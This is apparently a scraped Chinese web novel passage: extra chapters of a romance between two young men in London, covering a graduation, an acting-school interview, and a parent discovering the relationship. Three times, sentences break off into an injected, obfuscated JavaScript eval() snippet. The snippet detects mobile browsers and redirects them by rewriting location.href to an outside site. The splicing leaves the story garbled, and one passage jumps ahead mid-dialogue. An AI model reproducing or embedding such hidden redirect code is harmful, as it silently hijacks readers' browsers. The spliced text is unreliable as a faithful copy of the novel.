之后,迟了了整个人都不太在状态,三魂没了七魄。他浑浑噩噩地吃着炸鱼薯条。吃到一半,一只海鸥凑过来跟他同桌同食,迟了了毫无察觉。海鸥吃得很欢快,吃着吃着,还顺势踩了他脑袋一下,爪子上的粪便新鲜出炉,迟了了依旧没注意到。 林苹苹看了他一眼,什么都没说,只默默抽了张湿纸巾,替他擦了擦脑门。动作很轻,带着点说不清的怜爱。 后来,迟铎在大三的时候申请了实习一年,迟了了的大脑立刻启动自动清理程序,把那个疑似吻又不太像吻的画面彻底删除。 现在他脑子里只剩下一幅合理、令人欣慰、欣欣向荣的画面:在优秀挚友裴与驰的带领下,迟铎越来越争气。迟了了看着儿子偶尔发来的工作汇报,笑得合不拢嘴,大手一挥,又给儿子涨了生活费。 至于信用卡账单上那些看起来过分浪漫的消费,他连眼皮都不眨一下,只当是有品味的绅士们在高强度工作之余的必要放松。 合理。 非常合理。 儿子一路往“正经又体面”的方向发展。 迟了了对此,十分满意。 另一边,裴与驰本科毕业后,便彻底告别了学校,顺利拿到了企业家签证,留在了伦敦。牌照还在申请中,但pod shop这两年的策略表现足够漂亮,回撤控制得也好,靠着实打实的track record,口碑一点点传开。子账户慢慢多了起来,也陆续有优秀的人主动加入团队。规模不算大,但收益很可观。 毕业典礼那天,裴与驰原本没打算去,毕业证让学校邮寄,毕业演讲也想推掉。他脑子里只有一件事,如何更高效地赚更多的钱。 结果有人不干了。 “这很值得纪念的好不好。”迟铎坐在沙发上,掰着手指给他算,“一路dean’s list,GPA第一,完美的学生时代得有个漂亮收尾。” 裴与驰盯着电脑,没说话。 迟铎继续加码:“你去演讲,我给你录下来。等你老了还能回看。” 停了一下,又很认真地补一句:“到时候我还能指着屏幕跟你说——你看,你当年多装。” 裴与驰:“……” 迟铎见他还不松口,干脆一击即中:“你赚这么多想干嘛?想着养小三小四小五吗?” 空气安静了一秒。 裴与驰打开Outlook,给学校回了邮件,确认自己会作为学生代表演讲。 他最终还是去了。 典礼当天,迟铎活像个婚礼跟拍摄影师。胸前挂着好几个设备,肩上还背着一个Prada的相机包,鼓鼓囊囊,看起来十分专业。 裴与驰面无表情地看着他:“你是想干嘛?” 摄影师已经进入工作状态,如数家珍地开始科普:“你懂什么,CCD、EVO、Polaroid,还有单反,每个器材的滤镜和拍出来的感觉都不一样。” 他说完,举起拍立得,直接按下快门。相纸慢慢显影,画面里是裴与驰面无表情看着他的样子,眉眼冷淡,毫无营业欲望,但架不住自身条件过硬。 迟铎低头看了一眼,非常满意。 “很帅。”他说,“这张归我了。” 紧接着,他又献宝似的从口袋里掏出一个GoPro,打开开关,对着裴与驰开始录像:“来吧,vlog开录。” “请问裴少作为优秀学生代表演讲,有什么感想?和高中那次感觉有什么不同?” 裴与驰看着他,又看了看那一身装备,沉默了两秒。 他现在就想回去。 到了校门口,周淮和赵星宇已经在那儿了,动作幅度极大地挥手,笑得跟朵花儿一样。 “兄弟们!这儿!” 他们旁边还放着一束超大的Hello Kitty永生花,大到明显需要两个人才能搬,存在感极强。迟铎眼睛一亮,拉着裴与驰就要过去。 没拉动。 裴与驰站在原地,一动不动。 “你答应了我的~” 迟铎见硬的不行,立刻换策略,晃着他的手开始撒娇。 周淮简直没眼看,十分后悔一心想着来凑裴少的热闹,完全忘了他的另一层身份。旁边赵星宇倒是乐呵呵的,看着裴与驰终于妥协,笑得不行:“哈哈哈哈哈,迟铎这招太狠了,裴与驰肯定被恶心到了。” 周淮:“……” 周淮对此持保留意见。到底是被恶心到还是被可爱到,作为直男的他就不敢深想。一深想就容易疑神疑鬼,别人看他一眼,他都不敢捡肥皂。 “拿走。” 裴与驰不情愿地走到门口,连寒暄的意思都没有,直接冷漠下达命令。 不过这次周淮一点也不虚。“不是我们送的。”他说,“我们就是搬运工。” 迟铎立刻接话:“你不喜欢吗?我特意买的,这个时间很难订的好不好。” 裴与驰头都大了,他就该坚持不来的。 他侧头看了迟铎一眼,意思很明显。迟铎一点都不怕,他今天是豁出去了。 这可是裴与驰学生时代的最后一天,意义重大。他要好好记录,把这人尚存的所有青涩反应,全都捕捉进镜头里,等老了再拿出来反复嘲笑,当作打发时间的珍贵素材。 至于晚上? 随便。 反正他也爽得不行。 于是,两人开始艰难地搬着那束巨大的hello kitty永生花在人群里移动。只要有人投来好奇的目光,迟铎就会中气十足地解释:“Bruce就爱这个!趁毕业满足他这个愿望。”一边说,一边还不忘切换设备,ccd、单反、拍立得、GoPro 轮流上阵,对着裴与驰进行全方位、多角度、无死角的跟拍。 裴与驰本来就因为长相和成绩在学校里很有存在感,尤其在留学生圈子里。只是他平时脸冷、气场很足,大家也不太敢随便搭话。现在有人带头起哄,还有这么大的动静,围观的人自然越来越多。 未来回忆的时候,这一天算不算裴与驰人生的里程碑之一,很难说。但最尴尬的一天,绝对能排进前列。 等到裴与驰真正走上台的时候,有一瞬间,他差点忘了演讲稿的开头。可视线扫到台下,一眼就看到了那个连三脚架都架好了、正一脸专注对着他的笨蛋,他忽然就稳了下来。开口的一瞬间,语调恢复冷静,逻辑清晰,句式漂亮。高级的语法,野心勃勃的主题,配合这所专业为投行输送劳动力的技校气质,显得异常契合。 演讲结束,全场掌声响起。 迟铎站在人群里,按下快门的同时,笑得很得意。 毕业证到手,裴与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17054284|191384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 驰又被迟铎按着拍了一轮。等流程终于结束,他果断打发周淮和赵星宇先去饭店占位置,又让人把那一大坨永生花直接运回家,这才回过头来,拉住迟铎的手往楼里走。 迟铎还没反应过来,就被一路带到了cbg顶楼。 裴与驰从口袋里掏出一把钥匙,动作熟练地把露台的门打开。 门一推开,风迎面而来。伦敦的天际线铺展开来,大半个城市尽收眼底。夕阳往低处落,建筑的轮廓被染上一层淡红色的光。 迟铎愣了一下,下意识就要回头审讯:这么好的地方怎么不早带我来? 话还没出口,嘴唇就被堵住了。裴与驰低头,位置找得很精准,唇贴上来时并不急,只是轻轻碰着,慢慢摩挲着迟铎的嘴角,耐心得近乎折磨。迟铎下意识想回应,却总被对方不动声色地避开,那种进退之间的分寸感,让人不上不下的。直到他发出一点不满的呜咽。裴与驰低低地笑了一声,这才不再退让,加深了这个吻。 呼吸贴近,距离消失,世界只剩下彼此。夕阳落在他们身上,风吹过露台,他们在暮色里,接了一个很漫长的吻。 等分开的时候,迟铎腿都有些发软。可他第一反应,还是去摸自己的ccd和拍立得,执念得要命。裴与驰这次配合得毫无怨言,因为取景框里,全是他们的亲吻照片。 到了晚上,ccd、拍立得和三脚架更加被物尽其用。最后,迟铎和裴与驰都各自拿到了满意的素材。 等一切归于平静,迟铎虚脱地靠在裴与驰怀里,还是没忘记秋后算账。 “说。”他气若游丝地审讯,“你怎么会有那个钥匙?” 一次都没带他去,是不是带别人去过? “Prof. David给我的。” 裴与驰语气平静,“我跟他说,毕业典礼结束,想带女朋友上去。” “……女朋友?” 迟铎只恨自己现在实在没力气,不然早就拧他胳膊了。 裴与驰低头,看着他,理直气壮地反问:“你不是吗?” 问完亲了下他头顶,再很霸道的直接盖章定论:“我的小女友。” 迟铎回忆了一下自己平时在裴与驰面前的作派,觉得再争下去多少有点理亏。可他又实在气不过。他低头,在裴与驰的喉结上轻轻咬了一下。怕他真疼,又很快松开,只用牙尖在那一点上若有若无地磨着,像是泄愤,又像是撒娇,到后来主要是在享受这点温存。 裴与驰喉结动了动,忍了又忍。 没多久,他直接伸手把迟铎的手按在某处,语气低低的,带着不耐烦,一如既往地直白和粗暴:“你想用手还是b?” 迟铎:“……” 真的懒得跟这个毫无情调、毁掉气氛的男人多说一句。 彩蛋: 其实迟铎是有点当私生的潜质的。如果世界线再歪,裴与驰是当红明星,而迟铎是代拍,那事情大概会变成这样:迟铎每次帮别的粉丝代拍偶像的时候,都会顺手多拍几张裴与驰。也不是为了卖,至少拍的时候是下意识拍的。卖不出去自己留着也不是不行,就……很单纯地痴老公的颜。而他老公如果当明星,也是跟他老婆如出一辙的高高在上,冷漠到不行。毕竟什么锅配什么盖,俩天龙人内部你侬我侬,对外都是一个样。 某天凌晨,他在片场外蹲点,刚按下快门,就被发现了。被发现的那位大明星站在不远处,灯光下脸色很冷,一副居高临下的样子,眼神更是冷漠。他走过来,本来是打算直接砸这个小代拍的相机的,结果迟铎先红了眼。 “我、我没想拿你照片卖钱!”他急得说话都断断续续,“就……打印出来盖泡面挺好的……挺养眼的。” 裴与驰挑了挑眉,显然,没有全信。 迟铎当场觉得自己职业素养和人品同时受到了质疑。他从小爹不疼娘不爱,吃百家饭长大,但他自觉自己没长歪。偷拍虽然已经很理亏了,可没卖就是没卖,至少初心不是拿出来赚钱。 想着想着,一股委屈突然顶了上来,迟铎自己都不知道哪来的勇气,一把拉住大明星,掉头就往片场附近的招待所走。裴与驰居然也没挣脱,就这么被他拽着走了。 招待所破得要命,房间小到除了床几乎放不下别的东西。 床上架着一张小桌子,上面是吃完还没来得及扔的泡面。而泡面上,真的盖着一张裴与驰的照片。 “你看!”迟铎一路憋着的情绪终于绷不住了,眼睛都红了,“我真的只是拿来盖泡面的!” 话说出口,又觉得还不够解气,低声嘟囔了一句:“长得帅还不让人偷偷欣赏一下……还是公众人物呢。” 语气相当理直气壮。 他完全没意识到,没经许可偷拍已经很不对了,拿人家脸当泡面盖,更是离谱中的离谱。 可裴与驰却一反常态,没有发火。他低头看了那张照片,又抬眼看了看迟铎,神情冷静得有些反常。随后,他掏出手机,语气不容置喙:“把你微信打开。” 迟铎还沉浸在委屈里,下意识照做。下一秒,手机被抢走。裴与驰熟练地把他的二维码调出来,扫了,加好友。 “明天会有人联系你。” 说完,他把手机扔回迟铎手里,转身就走,头也没回。 那一晚上,迟铎几乎没睡。 他以为第二天就要被大明星的法务团队精准狙击,在片场混久了,他太清楚裴与驰家里的厉害。 结果第二天,他收到了好友申请。 点开一看,是裴与驰的经纪人。 内容很简单: 诚邀你担任裴与驰的助理 包吃包住 工资保证比你不眠不休当代拍还高 迟铎盯着屏幕看了好几秒。 行。裴哥,我跟定你了。 以后你的所有帅照,我来承包。 62.如果当时(13)[番外] Placement year很快就结束了。迟铎一边忙着赶作业,一边开始录各个英国表演院校要求的作品集。裴与驰人在伦敦,他就完全没考虑其他国家的大学。但真正让迟铎头大的,是另一件事,他得把古典文学重新捡起来。 莎士比亚。 尤其是莎士比亚。 几所表演学校的面试形式几乎一致:现场三选一,从经典剧目里抽段落,和另一位演员线上合作,完成将近一个半小时的即兴表演与独白。问题是,迟铎的文学成绩是C。 C! 甚至都不是B-。他对莎士比亚的全部印象,一直停留在不爱说人话的阶段。 书房里,裴与驰一边喝咖啡,一边进行视频会议,语气温和却暗藏进攻性,把客户正反PUA得心甘情愿往子账户里多打了一大笔钱,顺便还谈了些追加杠杆的空间,尽显天赋型金融男的NPD风采,整个人怡然自得,游刃有余。 而旁边的迟铎,抱着一本《哈姆雷特》原文啃,啃不动了就开始狂薅头发。 客户发言的间隙,裴与驰喝了口咖啡,扫了眼一旁已经萎靡到不行的小女友,凉凉地丢下一句“Confusion, despair, and a solid C.” 经典的莎士比亚三段式。 迟铎头也没抬:“你再嘲讽,今晚别进我卧室。” 这人真的很烦。一个眼里只有赚钱的金融男,为什么文学也能拿A+?更离谱的是,他居然还会选文学这门课,害得迟铎当年那个C,根本没法在裴与驰面前瞒过去。而最离谱的还不止于此,他那一身优秀的文学素养,在现实生活中从来没有转化成过情调和浪漫,一次都没有。 除了在嘲笑迟铎的时候,他能立刻切换模式,原地化身大文豪。 “Sigh no more, lady, sigh no more.” 裴与驰继续,语气真诚又欠揍。下一秒,他反应极快地偏了下头,一册典藏版《哈姆雷特》擦着他耳边飞了过去。 见真把人逗急了,裴与驰这才把书捡起来,顺手把迟铎拉到自己腿上坐着。他不紧不慢地掏出手机,递到迟铎眼前,屏幕上是两张已经订好的票,《麦克白》,LAMDA的学生剧团,最近在英国各大中小学巡演,最近一站刚好在温切斯特。 迟铎一时间有点愣。 他不知道裴与驰是通过什么方式才能留意到这么小众的戏剧演出安排,又是怎么搞到中学的演出票。总归是去找了以前的老师,甚至不排除直接找了校长。 “你不是挺喜欢LAMDA的氛围和那些教授的授课方式吗?”裴与驰语气放缓,“先去看看他们教出的学生是怎么表演的。到时候面试,心里也有底。” “……我们俩都这么老了,混进去不会很显眼吗?” 迟铎嘴上吐槽着,头却已经靠到他肩上,手指还无意识地绕着裴与驰卫衣的绳子打转。 裴与驰抬手,把他的下巴托起来,仔细看了两秒,下了结论:“还是很好看,一点都不老。” 迟铎一愣,又害羞,又有点惊讶,这人居然难得说了句人话。 果然,一秒都没撑过,裴与驰语气不变地补充:“不过老师他们可能会以为你是饱受失眠困扰,才专程去试试看能否助眠的。” 迟铎:“……” 他真的。 不过裴与驰的手段也确实了得。温切斯特的场子搞定就算了,毕竟是母校。为了让迟铎多体验几遍,他甚至连伦敦两所小学的演出都一并安排上了。据他说,是某2个客户孩子所在的学校。只能说,他盯着高净值客户赚快钱这件事,确实是有道理的。 迟铎一开始是硬着头皮去的,毕竟混进小学生中间,实在有点羞耻。但结果还真有用,他带了录音笔,把整场演出录了下来,回去反复听、反复琢磨。Naomi也在此期间帮了他很多,从台词节奏到情绪推进,一点一点陪他体验,帮助他入戏。 慢慢地,迟铎开始理解那些原本不说人话的句子里蕴含的情感和重量。在录独白的时候,他也终于能自然地倾注恰当的情绪。 在他精心的准备下,Lamda的面试邀请终于如期而至。 面试的前一晚,他却翻来覆去怎么也睡不着。脑子里反复盘旋的,只有一个念头:万一抽到的是自己没准备过的段落怎么办?莎士比亚自然下了一番大苦心,王尔德啃过,契诃夫同样也翻了几遍。可文学的海太深,而他不过是临时抱佛脚,满打满算也只准备了半年。越想越清醒,越清醒越焦虑。 迟铎正胡思乱想着,忽然有人从背后把他抱进怀里。裴与驰的手臂收得很紧,下巴抵在他发顶,低声念了一句王尔德的名言:“To love oneself is the beginning of a lifelong romance.” 说完这句后,贴着耳侧的气息并没有远离,声音依旧低而温柔,语气带着理所当然的笃定:“所以不要怀疑自己。你本来就很好,也一定会做得很好。” 迟铎张了张嘴,刚想说点什么,裴与驰却像是早就预判到了他的所思所想,直接把话接了过去:“这次不行就defer,明年继续。” 他停了一下,又补了一句,语调懒散却精准命中要害,““反正我穷得只剩下你和钱。你不帮我多花一点,将来不是还要担心我去养小三吗?” 话音刚落,他又像是得意于迟铎对他的紧张,索性顺手改编了句王尔德的台词。尾音微微上扬,带着一贯的欠揍与自信:“what you like is to be my last romance.” 迟铎:“……” 原本满腹的紧张和不安,被这两句话硬生生砸得七零八落。他转过身,把脸埋在裴与驰怀里,闷声下了命令:“睡觉。” 然后他真的睡得很好,一夜无梦,之前反复 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17056011|191384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 翻涌的焦虑都被他甩在了身后。 第二天的面试,像是命中注定。 昨晚裴与驰“王尔德附体”,而他今天他抽到的,正是王尔德最著名的《The Importance of Being Earnest》。 准备的间隙,迟铎的脑海里浮现出当初和Naomi对戏的场景,也想起后来反复琢磨这部喜剧时,对那些看似诙谐、实则暗藏锋芒的对白段落所形成的理解。第一个音节出口的瞬间,一切都变得顺理成章。语言自然而然地流淌出来,随之而来的,还有早已准备好的情绪。 面试结束后,他的心很满。没有后怕,也没有忐忑,内心所有悬着的东西,都被稳稳当当地放回了原位。 他走出考场,脑海里只有一个念头,去抱那个带着玫瑰、等在外面的人。 为了准备面试,他们已经整整一周没有真正亲近过。连吻都只是浅尝即止,像是刻意克制着,生怕一不小心,就再也停不下来。 可现在不一样了。他想抱着对方,在他耳边告诉他,他是他的first love;也想揪着他的耳朵,让他低声给自己保证,自己一定会是他的last romance。 两人目光相接的那一刻,裴与驰几乎立刻懂了迟铎在想什么。他没有多余地去问面试的结果,只是沉默地把那束玫瑰塞进迟铎手里,随后一手牵住他,另一手低头叫了回家的车。 车很快把他们送到楼下。 电梯里,两个人并肩站着,却依旧保持着体面的距离。不说话,也不看对方。金属轿厢的反光将他们的表情映得清清楚楚,看起来平常得不能再平常,仿佛和此前无数个回家的日子没有任何不同。 叮,电梯门一开,走廊短短几步路,裴与驰已经伸手扯住了迟铎的手腕,甚至懒得去精准定位到手指。力道不算重,却不容置疑,带着他走得很快。迟铎也没有反抗。从走廊监控的角度看,他们像是家里出了急事,匆匆赶回。 钥匙插进锁孔,门开,又合上。 下一秒,裴与驰直接转身,把迟铎按在门板上,吻落下来,急切并带着压抑已久的欲望,几乎不给他任何退路。迟铎闷闷地呜咽了一声,呼吸被夺走,反应却比思考更快。手抬起来,顺势勾住他的后颈,把人拉得更近。 体面的距离和举止,在门合上的那一刻彻底失效,只剩下彼此的呼吸、心跳,还有贴近的身体。 他们边吻边往里走,下一秒,客厅里忽然传来一声沉闷的重物落地声。 两人几乎同时停住,下意识地望过去。 地上,是一个摔得不成样子的蛋糕,沙发背后,一群人正目瞪口呆地看着他们。 迟了了彻底僵住,赵星宇他们也一并凝固。唯一还在动的的,是一脸有口难言,比划着只有他自己能看懂得手势的周淮,和没忍住捂嘴轻笑的林苹苹。 裴与驰:“……” 迟铎:“……” 63.如果当时(14)[番外] 公寓附近的麦当劳里,四条沙丁鱼一人一杯可乐,围着一张小桌子坐得整整齐齐。另四条困在作业里,侥幸逃过此劫。 赵星宇的眼神还有点发直,像是魂刚被抽走,又被人随手塞回来:“兄弟们……我刚刚,是不是看错了?” 话说到一半,脑子先不听使唤,画面自动回放。他喉结滚了滚,硬是没能把重点续上。 “在舌吻,我确定。”严峰语气冷静,判断异常果断。 他说着,顺手把赵星宇搭在自己大腿上的手扒拉下去,顺带把椅子往外挪了两厘米,调到一个和任何男性都礼貌且安全的距离。人刚交完作业,千里迢迢进城,结果正面撞上《A Very English Scandal》拍摄现场,主演还是他俩兄弟,演的还是甜得发腻的东亚魔改版。 严峰神情肃穆得像在宣誓:“今时不同往日,现在是特殊时期。而我有女朋友了,必须遵守男德。即日起,男的也不能随便和我有亲密接触。” 之前还跟赵星宇挤一个沙发打游戏、一屁股坐人大腿上的那位,此刻当场翻脸,忘得干干净净。 赵星宇:“……” “真、真的假的?”周兴毅的声音都在发抖,震惊还在持续加载,“他俩是同——” 话没说完,他自己先卡壳,实在想象不能。 周淮看着这一桌单纯、迟钝、至今仍在拒绝现实的鱼,轻轻叹了口气。那口气里有怜悯,也有一点点幸灾乐祸。他从兜里掏出一叠拍立得,很平静地往桌上一放。 “啪。” 桌面上铺开的全是照片。 有裴与驰把迟铎背起来的;有被亲侧脸的;有低头接吻的;有贴着额头笑的;还有明显是被抓拍下来的、毫不掩饰亲昵的瞬间。 总之,怎么甜怎么来,怎么私密怎么来。 四个人同时低头,空气安静了三秒。 赵星宇:“……” 周兴毅:“……” 严峰:“……” 最后,赵星宇缓缓抬头,语气空洞又真诚:“……我收回刚才的问题。” 物理证据砸下来,鱼们奇怪的脑回路反而很快就接受了现实。他们突然长了脑子,第一反应不是震惊那俩,而是齐刷刷抬眼,盯住周淮。三道视线像三把小刀:你早就知道?你为什么不说?你还是人吗? 周淮端起可乐,慢吞吞喝了一口,像在给自己续命:“知道啊。” “那你——”赵星宇差点拍桌,“你不早说?!” 周淮咬了咬吸管,叹口气,语气很惆怅:“我说了你们也不信。” 他心里苦。肉眼可见的苦。 真不是他不讲义气,是他已经替兄弟这漏风的无门之柜尽心尽力挡过风、遮过雨。偏偏天不遂人愿:一边是兄弟,一边是伯父,旁边还黏着三条非要来凑热闹的鱼。他都提前半小时发消息了,这俩神人一个没看见,一路上只顾着谈情说爱,完全是历史级别恋爱脑×2。 至于裴与驰和迟铎把他设置消息免打扰这种事,他不去想。问就是普信男的底线不可破。 事情倒回一周前。 迟铎顺利拿到了英国前几所表演学校的面试邀请,电话打回去的时候随口给迟了了提了一嘴。 “哦。”迟了了在电话里很淡定,端着一副老父亲见过大风大浪的样子,“挺好,面试加油。” 迟铎“嗯”了一声,懒得多聊,挂了。 电话刚断,迟了了当场在客厅原地起飞,脚打得跟节拍器一样,恨不得立刻来段霹雳舞。他把能想起来的好友挨个打了一遍电话,流程固定:先寒暄两句,顺便提儿子,最后用一句“也就那样吧”收尾。谦虚得很炫耀。 炫耀完,他去酒柜拿了瓶珍藏,给自己倒了一杯,慢慢品着。 “不容易啊……”迟了了老泪纵横。从爷爷给他取“迟了了”这个破名开始,他的人生就像被下了咒,怎么折腾都是一条咸鱼。二十年前他自封迟菲特,信奉价值投资,豪气干云砸了一千多万买港险,想着以后能一边品酒一边数钱。十年后到期一算,连本带息还剩九百万。 当然这次失败还能怪在迟了了没像裴与驰一样系统性学金融,不懂time value of money的重要性。可之后他再度出手,怒买商场整一层铺,结果项目烂尾。铺子也烂尾,雄心壮志最终跟着一起烂尾。 兜兜转转这么多年,他终于明白,自己最赚钱的方式不是创业,是别创业。于是现在他躺平当个信托一代老宝,安心品酒,偶尔怪爷爷,主打一个资产配置靠祖坟,情绪稳定靠美酒。 可偏偏,在这种背景下,迟铎居然能顶着同样奇葩的名字,走出一条路。更离谱的是,这名字还不是他想的。本来他想给迟铎取个一飞冲天的大名,结果他是个妻管严。女神老婆一句“爱吃奇多”,他就灰溜溜地去给迟铎上了户口。幸好妻子的威力比不过爷爷,诅咒没能继续应验在儿子上。 别管只是面试邀请,别管过不过,别管读完以后能不能拍戏表演。至少这一刻,迟了了已经在脑子里给儿子颁了个奖:最佳逆天改命。底座刻五个字:老子很满意。 他激动完才想起要装逼,立刻收住表情,摆出“也就那样”的淡定脸。但想了想,家里也没外人,装给空气看属实没必要。 于是他转头给爱妻发消息:“儿子拿到面试了!!!”发完又觉得不够,又补一句:“你看!你看!虎父无犬子!” 林苹苹回得很快:“你先把酒放下。别把我地毯弄脏。” 等林苹苹回家,迟了了已经订好了一周后到伦敦的机票。拉着老婆抵达希思罗的时候,迟铎正起床,离面试还有几个小时。 迟了了刚坐上车就给爱侄周淮去了个电话。先关心学习生活,走完流程,才切入正题。 “小淮啊,”迟了了语气很慈爱,“迟铎今天不是要面试吗,估计这段时间备战挺累。等他面试结束,我们给他个惊喜,好不好?” “好啊!伯父你说咋整就咋整。”周淮捣头如蒜,一听伯父大驾光临伦敦,他一秒把自己卖了。毕竟他也刚交完几份硕士文书,累得要死,正需要一个名正言顺的理由出门喘气。 等他答应完,才后知后觉地意识到不对。迟了了说的是“惊喜”。而周淮刚才嘴比脑子快,顺手就把迟铎公寓地毯底下放着备用钥匙这件事也抖了出来。 迟了了头顶灯泡“啪”地一亮。“那太好了。”他语气愈发温柔,“我买好蛋糕和礼物,先去公寓藏一下。等他回来,大惊喜。” 计划顺理成章,连转场都没有。 周淮:“……” 计划很美好,但问题是,那是裴与驰和迟铎的爱巢。 自从周淮知道他俩那点事以后,他就不敢主动上门了。不是怕尴尬,主要是怕进去之后眼睛没地方放。那天迟铎说得太直白,两个人日常又甜得太不遮掩,光在公众场合看着,周淮都牙酸。 那爱巢里能没有痕迹吗? 周淮光想象都觉得窒息。尤其是想起裴与驰毕业那天迟铎那个站姐样……他合理怀疑这房子已经被物料全面占领:门口贴着情侣便签,冰箱上吸着亲密照,沙发上扔着不适合暴露人前的衣服,床头——算了,床头他不敢想。 思及至此,他当场想撤回那句“想咋整就咋整”,可电话那头伯父已经一锤定音,提前给他颁发了最懂事侄子奖,周淮又实在没胆子说不。于是他只能硬着头皮祈祷,求他俩的爱巢至少体面一点,别把恩爱摆到明面上。 思来想去,他还是提前给迟铎打了个电话,没人接听,没办法,他只能发了条消息。 等他们在迟铎公寓楼下汇合的时候,赵星宇给周淮来了个电话,兴奋得藏不住,声音洪亮:“在哪呢?赶紧出来,严峰进城了。”周淮还没来得及糊弄过去,旁边的迟了了已经听见了,笑眯眯地拍板:“都叫上。都是迟铎好朋友,人多热闹。” 周淮:“……” 他想起早上那条发出去就石沉大海的微信,咬了咬牙,哥们别怪我,我尽力了。惊喜队伍当场扩编。上楼时,周淮门开得小心翼翼,跟做贼一样。 门一开—— 卧槽,还行。 至少第一眼看过去,房子挺正常。两位应该没满屋子宣淫,也没什么一眼就不该看的东西。整洁、干净,一看就是定期请清洁的体面人家。 周淮刚想松口气,视线一转,岛台后面的冰箱上贴着一排照片。第一张他心里咯噔一下,第二张牙开始酸,第三张他已经不想当人了——内容刺眼到不想描述。 他三步并两步冲过去,手速飞快,一把全撕下来塞进兜里,塞完抬头,若无其事地大声宣布:“都喝什么?我来拿!” 他就知道。 时间一点点往前走,迟铎还是没消息。周淮保险起见,硬着头皮又给裴与驰发了条微信。迟铎不靠谱,裴与驰总靠谱吧。他是这么想的。 结果那会儿两人正坐车回家,手牵着手,罗密欧对上朱丽叶,车里全是爱心泡泡。周淮这个间谍的通风报信,被“消息免打扰”直接埋进微信深海,连个水花都没溅起来。 于是才有了后面这幕—— 这俩进门零秒起手,直接开始互啃。 周淮咬着吸管,懒得理三条傻鱼的语言攻击,自己忧郁地复盘:我真的无可指摘。可一想到备用钥匙那茬是自己嘴快抖出去的,忧郁就更忧郁了。 与此同时,公寓里 短暂的尴尬和失语过后,裴与驰已经把情绪收拾好,变回那个游刃有余地和客户客套社交的裴总,开口很礼貌:“叔叔、阿姨坐。” 说完转身进厨房,倒了两杯水出来。 出来的时候,迟了了已经僵硬地坐下了,姿势像坐骨神经痛患者复发,脚还直直踩进那堆摔烂的蛋糕里。裴与驰扫了一眼,视线很快移开,把水递过去,动作规矩得挑不出错。 林苹苹倒是自然,接过来就喝,眼神从裴与驰脸上扫到手上,再扫回去,那种“评估女婿”的打量,毫不遮掩。 迟了了盯着面前那杯水,像在跟它对峙,半天没动。 迟铎本来还在社死。可他一看他爸这副把人晾着的架势,火一下就上来了。 “爸你喝吗?”他等不及等回答,“你不喝我喝了。” 说完就把那杯水拿过去,仰头一口灌了。 迟了了看着这不孝子,手指没忍住抬起来指:“你!你……” 指了半天,句子拼不出一句完整的,最后憋出一句: “你们是在打闹吗?” 迟铎:“……” 他能理解他爸现在惊慌失措。可自欺欺人到这份上,也是独一份,而且也真的——很不尊重。 他伸手拉过裴与驰的手,语气很冷静:“我们在谈恋爱。” 语言直接,动作也直接,硬生生把迟了了刚搭起来的龟壳敲碎了。 “你们都是男人!”迟了了不得不直面现实。 “对啊。”迟铎接得很快,像早已接受这个标签贴在自己身上,“同性恋。” 迟了了直接放弃跟这块油盐不进的叉烧对话。他转向裴与驰,目光一下变得很锐利“你家里知道吗?” “你别用这种语气跟他说话。”迟铎立刻不满。 迟了了:“?” 他怎么没把马鞭带过来。叉烧冥顽不灵,被卖了还给人数钱。裴与驰家里什么情况他不知道吗?裴谦之能答应,他把名字倒着写。 “知道。”裴与驰说。 迟了了没想到能听到这个回答,直接愣住。迟铎也愣了一下,转头看他。 裴与驰语气平静:“我回国的时候已经说过了。他不会干涉。” 迟了了脑子里第一反应只有五个字:裴谦之疯了? 算了,不管他疯没疯,自己没疯。 迟了了清了清嗓子,把理智勉强捞回来:“我不同意,你们这样算什么事?” “你们只是小孩子过家家。现在也过够了,赶紧各回各家。” 迟铎的脸一下子冷下来:“你不同意没关系,但别这样随便定义我们……” 话没说完,被迟了了打断:“我不定义?那你告诉我这是什么?你们两个男人——” “谈恋爱。”迟铎接得很干脆,“不违法,不欠谁,也不需要你批准。” 迟了了火气蹭地上来,冷笑:“那你以后就这么混着?你要跟他过一辈子?” 迟铎没躲,反而点头:“嗯。” 迟了了:“……” 他像被这一个“嗯”当场砸懵了,半天才找回声音:“你知道你在说什么吗?” “知道。”迟铎说,“就是像你和妈一样结婚,过一辈子。” 他说得很肯定,像一点也不怕裴与驰会辜负他。迟了了从没见过胳膊肘拐得这么彻底的叉烧。 迟了了噎住,转头想找个看起来正常点的,目光迅速锁定裴与驰:“他这么有自信,你也有?” 裴与驰没直接回答这个问题,只把事实一条条摆出来:“叔叔,这间公寓我去年已经全款买下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“不过我赌对了。”裴与驰像在哄人,“策略跑出来的收益很漂亮。钱我自己有。” 迟铎沉默两秒:“他就这么算了?” 裴与驰给了个含糊的解释:“因为我给了他一个台阶。而且这个台阶,他正好需要。” 迟铎还想再问,裴与驰却把他的手指扣住,轻轻一捏:“再往下问,你今晚就别睡了。” 迟铎:“……” 他面上不服,手却很诚实地反扣回去,指尖贴着掌心,贴得很紧。 最想问的还是那句,迟铎声音放得很轻:“那他打你没有?” “没。” 